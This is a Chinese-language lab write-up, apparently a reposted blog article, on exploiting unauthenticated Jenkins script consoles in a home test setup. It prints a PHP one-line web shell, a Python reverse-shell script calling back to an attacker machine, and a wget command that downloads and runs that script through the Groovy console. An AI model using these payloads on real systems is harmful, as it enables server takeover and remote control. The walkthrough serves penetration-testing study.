暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Jenkins未授权访问漏洞复现与 getshell 利用方法汇总

W小哥 2021-09-23
7189

一、Jenkins介绍

1.1 什么是Jenkins?

Jenkins是一个开源的、提供友好操作界面的持续集成(CI)工具,起源于Hudson(Hudson是商用的),主要用于持续、自动的构建/测试软件项目、监控外部任务的运行。Jenkins用Java语言编写,可在Tomcat等流行的servlet容器中运行,也可独立运行。通常与版本管理工具(SCM)、构建工具结合使用。常用的版本控制工具有SVN、GIT,构建工具有Maven、Ant、Gradle。

1.2 Jenkins的功能

Jenkins是一个基于Java开发的开源项目,可在Tomcat等流行的servlet容器中运行,也可以独立运行,其功能如下:

用于持续性、自动的构建/测试软件
项目监控或跑一些定时任务
监控外部调用执行的工作

1.3 Jenkins的漏洞简介及危害

默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。

1.4 Jenkins的漏洞成因

1、使用低版本的Jenkins,默认没有登录控制
2、有登录控制,但配置文件中设置了不启用安全性(/var/lib/jenkins/config.xml 设置为false)
3、控制台使用了弱密码
4、Jenkins系统后台中可以执行系统脚本命令

二、靶场搭建

服务器: Centos 8
IP: 192.168.241.129

2.1 下载 Jenkins 并安装

地址:
官方:http://mirrors.jenkins.io
镜像:https://mirrors.tuna.tsinghua.edu.cn/jenkins/redhat/

安装JAVA环境

安装 jenkins 并启动

    rpm -ivh jenkins-2.258-1.1.noarch.rpm
    service jenkins start

    2.2 配置 Jenkins

    浏览器访问 8080 端口,将密码复制粘贴过去

    之后下一步:选择 安装推荐的插件

    设置一个新的用户名、密码,我没设置,选择的“使用admin账户继续”

    成功登录进去

    2.3 配置 Jenkins 不用账号密码即可登录

    但是再次访问 http://192.168.241.129:8080/ 需要admin的账户密码,有点繁琐,为了方便,设置 Jenkins 不使用账号密码即可登录

      vi  /var/lib/jenkins/config.xml

      重启 Jenkins

        systemctl restart jenkins

        再次访问 http://192.168.241.129:8080/ 不需要账号密码即可进管理后台


        注意:
        防火墙配置需要关闭防火墙或者开通8080端口,其它主机才可以访问服务器的8080端口

          systemctl stop firewalld.service

          三、漏洞复现

          3.1 发现漏洞

          访问目标网站存在 Jenkins 未授权访问漏洞

          3.2 漏洞利用

          点击 系统管理

          之后,下拉找到脚本控制台,点击脚本控制台


          执行并打印系统命令

            println "whoami".execute().text
            println "ifconfig".execute().text

            如果知道web站点目录可写入一句话shell,例如:

              new File("D:\\phpstudy_pro\\WWW\\php_shell.php").write('<?php @eval($_POST[cmd]);?>');

              本案例,无WEB站点,那么通过脚本反弹shell,看看行不行


              但是发现 kali 监听端并没有反弹shell

              换一个思路先上传python脚本,然后利用python脚本生成一个bash反弹shell
              ft.py 脚本内容:

                #!/usr/bin/python
                # This is a Python reverse shell script


                import socket,subprocess,os;
                s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
                s.connect(("192.168.241.128",6666));
                os.dup2(s.fileno(),0);
                os.dup2(s.fileno(),1);
                os.dup2(s.fileno(),2);
                p=subprocess.call(["/bin/sh","-i"]);

                将 ft.py 脚本放在本地WEB服务器上,之后在 jenkins 上执行命令,去WEB服务器上下载 ft.py 到 tmp/目录下

                  println "wget http://192.168.241.1/ft.py -P /tmp/".execute().text

                  执行python脚本 ft.py

                    println "python3 /tmp/ft.py".execute().text

                    kali 成功接收到反弹的 shell

                    四、修复建议

                    1、配置Jenkins登录验证

                    更多资源:
                    1、web安全工具、渗透测试工具
                    2、存在漏洞的网站源码与代码审计+漏洞复现教程、
                    3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
                    4、应急响应真实案例复现靶场与应急响应教程

                    收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥


                    文章转载自W小哥,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                    评论